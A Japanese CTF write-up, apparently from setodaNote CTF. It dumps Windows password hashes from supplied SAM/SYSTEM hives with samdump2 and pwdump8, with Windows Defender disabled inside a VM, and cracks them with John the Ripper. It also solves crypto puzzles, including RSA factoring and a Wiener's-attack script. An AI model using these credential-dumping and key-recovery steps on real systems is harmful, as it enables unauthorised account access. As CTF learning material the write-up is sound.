フラグはアカウント名とパスワード(平文)をアンダースコアでつないで回答してください。
例えばアカウント名が user 、パスワードが pass の場合は flag{user_pass} と回答します。

Ubuntuにて

$ sudo apt install bkhive
$ bkhive
bkhive: command not found

インストールしたのになぜかコマンドがない

kaliLinuxではsamdump2を使うっぽい

$ sudo apt install bkhive                                                                                     127 ?
Package bkhive is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it: ★samdump2に置き換えられた
  samdump2

E: Package 'bkhive' has no installation candidate

Ubuntuにてbkhiveをいれたときに一緒に入ったsamdump2を使う

$ samdump2 ./SYSTEM ./SAM > hashes.txt

結果を見てみる

$ cat hashes.txt
*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
stella:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

パスワードハッシュが出ている
john the ripperで解析する

$ sudo apt install john

$ john hashes.txt
Created directory: /home/user/.john
Loaded 7 password hashes with no different salts (LM [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
                 ()
                 ()
                 (stella)
                 (*disabled* )
                 (*disabled* )
                 (*disabled* Guest)
                 (*disabled* Administrator)
7g 0:00:00:00 100% 2/3 100.0g/s 42028p/s 42028c/s 294200C/s 123456..MARLEY
Use the "--show" option to display all of the cracked passwords reliably
Session completed

$ john hashes.txt --show
*disabled* Administrator::500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* ::503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* ::504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
stella::1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
::1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
::1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

7 password hashes cracked, 0 left

解析が終わったのにパスワードがでてなさそう?

https://crackstation.net/でも「Result」はカラ
→結論からすると、上記はカラのハッシュだった

(参考)ネットにあったサンプルはすぐにパスワードが判明した

$ john hashes_sample.txt  --wordlist password.lst --format=NT
:
test             (Administrator)
★
$ john hashes_sample.txt  --show --format=NT
Administrator:test:500:01fc5a6be7bc6929aad3b435b51404ee:0cb6948805f797bf2a82807973b89537:::
              ★password   ★LM                             ★NTLM

https://crackstation.net/

Hash Type    Result
01fc5a6be7bc6929aad3b435b51404ee    LM  TEST

Hash    Type    Result
0cb6948805f797bf2a82807973b89537    NTLM    test
※「Result」がパスワード

samdump2でのハッシュ取り出しがうまくいっていない?

Windows10にも対応している別のツールにてハッシュを取り出してみる

仮想マシンにてスナップショットをとる
Windows Defenderを無効にする

pwdump8.2をダウンロード
https://www.openwall.com/passwords/windows-pwdump

Windows 2000/XP/Vista/7/2008/8/8.1/10/2012/2016/2019 ←★対応OS

※プログラムの性質上、悪用されることもあり、ウイルス対策ソフトにひっかかる
 仮想マシンで実行し、終了後スナップショットに戻すと安心

pwdump8と同じディレクトリにCTFの問題として提供された以下ファイルをおく
・SYSTEM
・SAM
・SECURITY

管理者にて以下を実行(ローカルファイル名を指定してハッシュを取得する)

>pwdump8.exe -f SYSTEM SAM SECURITY > result.txt
PwDump v8.2 - dumps windows password hashes - by Fulvio Zanetti & Andrea Petralia @ http://www.blackMath.it

Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
DefaultAccount:503:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
WDAGUtilityAccount:504:AAD3B435B51404EEAAD3B435B51404EE:27C3A146AA209B2120F7ECC9DB065540
stella:1001:AAD3B435B51404EEAAD3B435B51404EE:2F8AE2E260D0CFE3756FF53E639E3377
test:1002:AAD3B435B51404EEAAD3B435B51404EE:3C99B8901B00758369F18B9DF72012C8
akari:1003:AAD3B435B51404EEAAD3B435B51404EE:B66EADE488CE2C23BA226427E40FED41
★User      ★LM                             ★NTLM

アカウントが見えており、samdump2とは違うカラでないハッシュも見えている

LM
AAD3B435B51404EEAAD3B435B51404EEはカラのパスワード

NTLM
31D6CFE0D16AE931B73C59D7E0C089C0はカラのパスワードなのでそれ以外を対象とする

以下をhttps://crackstation.net/にて確認

27C3A146AA209B2120F7ECC9DB065540
2F8AE2E260D0CFE3756FF53E639E3377
3C99B8901B00758369F18B9DF72012C8
B66EADE488CE2C23BA226427E40FED41
Hash Type    Result
27C3A146AA209B2120F7ECC9DB065540    Unknown Not found.
2F8AE2E260D0CFE3756FF53E639E3377    Unknown Not found.
3C99B8901B00758369F18B9DF72012C8    NTLM    testtest ★パスワード判明
B66EADE488CE2C23BA226427E40FED41    Unknown Not found.
アカウント:test
パスワード:testtest

最後に、忘れずにスナップショットに戻す

(参考)SAM.LOG1などは読めなかった

>pwdump8.exe -f SYSTEM.LOG1 SAM.LOG1 SECURITY.LOG1

PwDump v8.2 - dumps windows password hashes - by Fulvio Zanetti & Andrea Petralia @ http://www.blackMath.it

err: 1017 loading SYSTEM hive from file
err: 1017 loading SAM hive from file
err: 1017 loading SECURITY hive from file
error opening syskey reg hive
error readng syskey
error 2 opening user's key..


>pwdump8.exe -f SYSTEM.LOG2 SAM.LOG2 SECURITY.LOG2

PwDump v8.2 - dumps windows password hashes - by Fulvio Zanetti & Andrea Petralia @ http://www.blackMath.it

err: 1017 loading SYSTEM hive from file
err: 1017 loading SAM hive from file
error opening syskey reg hive
error readng syskey
error 2 opening user's key..

setodaNoteCTF Writeup [Crypto]

Crypto

base64

base64 decodeするだけ

ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=Wm14aFozdEpkQ2R6WDJOaGJHeGxaRjlpWVhObE5qUWhmUT09

ROT13

ROT13するだけ
synt{Rira_lbh_Oehghf?}

https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=c3ludHtSaXJhX2xiaF9PZWhnaGY/fQ

pui_pui

以下の文字列が与えられる

\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a

\xを置換し、消す
「From Hex」でデコード
https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=NDEzYTQ0NmYyMDc5NmY3NTIwNmI2ZTZmNzcyMDRkNmY2YzYzNjE3MjNmMGEwYTQyM2E0ZjY2MjA2MzZmNzU3MjczNjUyMTIwNDkyMDZjNmY3NjY1MjA3NDY4NjUyMDczNjM2NTZlNjUyMDc3Njg2NTcyNjUyMDY4NjUyMDczNjk2ZTZiNzMyMDY5NmU3NDZmMjA3NDY4NjUyMDYyNmM2MTczNzQyMDY2NzU3MjZlNjE2MzY1MjA3NzY4Njk2YzY1MjA2NzY5NzY2OTZlNjcyMDc0Njg2NTIwNzQ2ODc1NmQ2MjczMjA3NTcwMmUwYTBhNDEzYTJlMmUyZTIwNTc2ODYxNzQzZjBhMGE0MjNhNjI3NDc3MmMyMDc0Njg2NTIwNjY2YzYxNjcyMDY5NzMyMDY2NmM2MTY3N2I0ODYxNzY2NTVmNzk2Zjc1NWY2NTc2NjU3MjVmNjg2NTYxNzI2NDVmNmY2NjVmNDg2NTc4NjQ3NTZkNzAzZjdkMmUwYQ

謎の会話とflagがでてくる

A:Do you know Molcar?

B:Of course! I love the scene where he sinks into the blast furnace while giving the thumbs up.

A:... What?

B:btw, the flag is flag{Have_you_ever_heard_of_Hexdump?}.

tkys_secret_service

問題文をROT13してみるとThe~となる

The priteftoiu ic Ciutrilled Uuflazzocoed Iucirmatoiu (CUI) rezodeut ou uiucederal zyztemz aud irgauosatoiuz oz ic paraminut ompirtaufe ti cederal ageufoez aud fau doreftly ompaft the aboloty ic the cederal giverumeut ti znffezzcnlly fiudnft otz ezzeutoal mozzoiuz aud cnuftoiuz. Thoz pnblofatoiu privodez ageufoez woth refimmeuded zefnroty reqnoremeutz cir priteftoug the fiucodeutoaloty ic CUI wheu the oucirmatoiu oz rezodeut ou uiucederal zyztemz aud irgauosatoiuz; wheu the uiucederal irgauosatoiu oz uit filleftoug ir maoutaououg oucirmatoiu iu behalc ic a cederal ageufy ir nzoug ir iperatoug a zyztem iu behalc ic au ageufy; aud where there are ui zpefocof zacegnardoug reqnoremeutz cir priteftoug the fiucodeutoaloty ic Flag oz clag{pnopno_far_ic_mil} CUI prezfrobed by the anthirosoug law, regnlatoiu, ir giverumeutwode pilofy cir the CUI fategiry lozted ou the CUI Regoztry. The reqnoremeutz apply ti all fimpiueutz ic uiucederal zyztemz aud irgauosatoiuz that prifezz, ztire, aud/ir trauzmot CUI, ir that privode priteftoiu cir znfh fimpiueutz. The zefnroty reqnoremeutz are outeuded cir nze by cederal ageufoez ou fiutraftnal vehoflez ir ither agreemeutz eztablozhed betweeu thize ageufoez aud uiucederal irgauosatoiuz.

Flagの文字列がある
Flag oz clag{pnopno_far_ic_mil}

Flag is flag{~}にみえる
一部の文字を入れ替えるのか
o -> i
z -> s
c -> f

flag{pnipni_far_if_mil}
だめ

英単語と仮定して法則を見つける
aud -> and
u -> n

aud/ir -> and/or
privode -> provide
i -> o
flag{pnipni_far_of_mol}
まだだめ

agreemeutz -> agreements
z -> s

Uuflazzocoed -> Unclassified
f -> c?
大文字はそのまま?

モルカーっぽい
n -> u

lets_bake

150

あなたはシェフ帽の人物からレシピを受け取りました。どうやら組織からの秘密のメッセージのようです。
レシピを解読し、秘密のメッセージを入手してください。

Input:
NzRmNDRiMWE0Y2M2ZGNiNzc3NTMyNTcwZjk0MTE4NTMyNTcxZjE1YTE1NTJkY2M0

Recipe:
RnJvbV9CYXNlNjQoJ0EtWmEtejAtOSsvPScsdHJ1ZSkN]b2[sRnJvbV9IZXgoJ05vbmUnKQ0=]b2[sRm9yaygnJScsJ18nLGZhbHNlKQ0=]b2[sUkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk=

問題文からサイバーシェフを使うとわかる

Recipeをどう解読するのか非常に苦戦したが、以下のように区切り、
それぞれBASE64デコードしたらうまくいった

RnJvbV9CYXNlNjQoJ0EtWmEtejAtOSsvPScsdHJ1ZSkN]b2[s
RnJvbV9IZXgoJ05vbmUnKQ0=]b2[s
Rm9yaygnJScsJ18nLGZhbHNlKQ0=]b2[s
UkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk=

BASE64デコード

From_Base64('A-Za-z0-9+/=',true)
ok

From_Hex('None')
ok

Fork('%','_',false)
ok

RC4({'option':'UTF8','string':'chef'},'Latin1','Latin1')
ok

Inputをこのレシピ通りに変換するとフラグが得られる https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)From_Hex('Auto')Fork('%25','_',false)RC4(%7B'option':'UTF8','string':'chef'%7D,'Latin1','Latin1')&input=TnpSbU5EUmlNV0UwWTJNMlpHTmlOemMzTlRNeU5UY3daamswTVRFNE5UTXlOVGN4WmpFMVlURTFOVEprWTJNMA

vul_rsa_01

200

あなたは組織の定期研修に参加しています。
教官から RSA 暗号の禁止事項くらいは覚えておくようにと課題が出題されました。
どうやら暗号文 c を解くことができればそれだけ早く帰れるようです。

以下の RSA 暗号を解読してフラグを入手してください。

c: 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335

n: 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257

e: 65537

以下を参考に解いていく

RSA暗号解読問題を解く
https://k-mawa.hateblo.jp/entry/2018/06/07/192242
https://k-mawa.hateblo.jp/entry/2018/06/19/141347

Msieve(高速に素因数分解を行ってくれるプログラム)のインストール
https://inaz2.hatenablog.com/entry/2016/01/09/032521

Ubuntuにて必要となるパッケージをインストール

$ sudo apt-get install build-essential libgmp3-dev zlib1g-dev libecm-dev

ダウンロードとコンパイル

$ wget "http://downloads.sourceforge.net/project/msieve/msieve/Msieve%20v1.52/msieve152.tar.gz?r=&ts=1452107977&use_mirror=jaist" -O msieve152.tar.gz
$ tar xvf msieve152.tar.gz
$ cd msieve-1.52/
$ make all ECM=1

nの値を使い、解析を行う

$ ./msieve -e -p -q -v "13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257"


Msieve v. 1.52 (SVN unknown)
:(略)
prp43 factor: 3058517013146002381763962882964790715736519
prp46 factor: 4372642466716249946441875327733923056149624303
elapsed time 00:29:31

ログより、30分ほどかかっている
nを素因数分解した場合の、2つの素数pとqが判明

pycryptoをインストール

$ pip install pycrypto

参考サイトの通り、スクリプトを書く

from Crypto.PublicKey import RSA
from Crypto import Random
from Crypto.Util.number import * #inverse()を使う
import Crypto.PublicKey.RSA as RSA

C = 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335
N = 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257
E = 65537

p = 3058517013146002381763962882964790715736519
q = 4372642466716249946441875327733923056149624303

d = inverse(E,(p-1)*(q-1))
print (d)

#秘密鍵
rsa_key = RSA.construct((p*q, E, d))
print (rsa_key)

print (rsa_key.decrypt(C))

int = rsa_key.decrypt(C)
print (long_to_bytes(int))

スクリプトを実行

$ python3 rsa_test.py
4897557609358873156657999039608506066811736904039482454770352974851826510011931551945473
<_RSAobj @0x7f98fd45cda0 n(293),e,d,p,q,u,private>
46327402297761911070944293204953074319567693047395802794186233938451290661245
b'flag{weak_rsa_can_be_decrypted!}'

vul_rsa_02

250

あなたは引き続き組織の定期研修に参加しています。教官は昨日と同じ人物です。
「早く帰れると言ったな。あれは嘘だ」昨日の信じられない光景が脳裏に蘇ります。
RSA 暗号の禁止事項くらいは覚えておくようにと再び RSA 暗号の課題が出題されました。
もはや誰も信じていませんがどうやら暗号文 c を解くことができればそれだけ早く帰れるようです。

以下の RSA 暗号を解読してフラグを入手してください。

c: 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681

n: 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423

e: 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137

ROCAの脆弱性を試してみる

ROCAに必要なパッケージのインストール

$ sudo apt install git
$ sudo apt install libgmp-dev
$ sudo apt install cmake

necaのダウンロードとインストール

$ git clone https://gitlab.com/jix/neca
$cd neca
$cmake .
$make

./neca (nの値)のように実行

$ ./neca 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
NECA - Not Even Coppersmith's Attack
ROCA weak RSA key attack by Jannis Harder (me@jix.one)

 *** Currently only 512-bit keys are supported ***

 *** OpenMP support enabled ***

N = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
Given key does not seem to be weak.

失敗

(参考)以下サイトでROCAの脆弱性があるかチェックできる
https://keychest.net/roca
(ここまで)

RSA暗号運用でやってはいけないnのこと
https://www.slideshare.net/sonickun/rsa-n-ssmjp

eの値が大きすぎてはいけない
Wiener's Attack が適用可能
eが大きいと相対的にdが小さくなることを利用
上記が使えそう

Pragyan CTF 2019 "Easy RSA" writeup
https://ctftime.org/writeup/13831

rsa-wiener-attack
https://github.com/pablocelayes/rsa-wiener-attack

上記を少し変更して問題に合わせる

import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator

def hack_RSA(e,n):
    '''
    Finds d knowing (e,n)
    applying the Wiener continued fraction attack
    '''
    frac = ContinuedFractions.rational_to_contfrac(e, n)
    convergents = ContinuedFractions.convergents_from_contfrac(frac)

    for (k,d) in convergents:

        #check if d is actually the key
        if k!=0 and (e*d-1)%k == 0:
            phi = (e*d-1)//k
            s = n - phi + 1
            # check if the equation x^2 - s*x + n = 0
            # has integer roots
            discr = s*s - 4*n
            if(discr>=0):
                t = Arithmetic.is_perfect_square(discr)
                if t!=-1 and (s+t)%2==0:
                    print("Hacked!")
                    return d

# TEST functions

def test_hack_RSA():
    print("Testing Wiener Attack")
    times = 1

    while(times>0):
        e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137
        n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
        d = 0
        print("(e,n) is (", e, ", ", n, ")")
        print("d = ", d)

        hacked_d = hack_RSA(e, n)

        print("d = ", d, ", hacked_d = ", hacked_d)
        print("-------------------------")
        times -= 1

if __name__ == "__main__":
    #test_is_perfect_square()
    #print("-------------------------")
    test_hack_RSA()

実行してみる

$ python3 RSAwienerHacker_m.py
Testing Wiener Attack
(e,n) is ( 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137 ,  314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 )
d =  0
Hacked!
d =  0 , hacked_d =  19780253153570454414022314122363673676673
-------------------------

以下スクリプトにて復号する
(参考にしたサイト)https://tech.kusuwada.com/entry/2018/06/02/013904

from Crypto.PublicKey import RSA
from Crypto import Random
from Crypto.Util.number import * #inverse()を使う
import Crypto.PublicKey.RSA as RSA

E = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137
N = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
C = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681
d = 19780253153570454414022314122363673676673

key = RSA.construct(map(int, (N, E, d)))
print(long_to_bytes(key.decrypt(C)))

実行

$ python3 rsa_test.py
b'\x02my\xa6\xfb\xa2t\x19X\xce\x82F(U\xa9n\xc4\xdc\x16#\x13<\xfc4\x15y\x92\x0b\xef\xc0.\xb7\xb9\xe0\xa3\xbb\xb8r\x00flag{197_Michael_J_Wiener_673}'

なんか、フラグ以外に余計な出力がでているが・・・不明

WEARECIA

300

家に帰ると黒い封筒が郵便受けに入っていました。
封筒の中身は英字が羅列されたメモが一枚。
青銅色の紙に白いインクで書かれており右下には同じインクで WEARECIA と記載されています。
どうやら暗号文のようです。暗号文を解析してメッセージを受け取る必要がありそうです。

以下の暗号文を解読し、隠されたメッセージを見つけてください。
フラグは得られたメッセージを flag{} で囲んで回答してください。

EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJYQTQUXQBQVYUVLLTREVJYQTMKYRDMFDRCDNKFRHHMKVLLTGBMFDUTMALDUMKYQTGLWLWCM

(解けていない)

(追記)
https://github.com/satoki/ctf_writeups/tree/master/setodaNote_CTF/WEARECIA
以下を使うらしい
https://www.dcode.fr/vigenere-cipher
ALPHABETKRYPTOSABCDEFGHIJLMNQUVWXZ
KNOWING THE KEY/PASSWORD:PALIMPSEST

FLAGISを含む文字となる
BETWEENSUBTLESHADINGANDTHEABSENCEOFLIGHTLIESTHENUANCEOFIQLUSIONFLAGISWEARETHENATIONSFIRSTLINEOFDEFENSE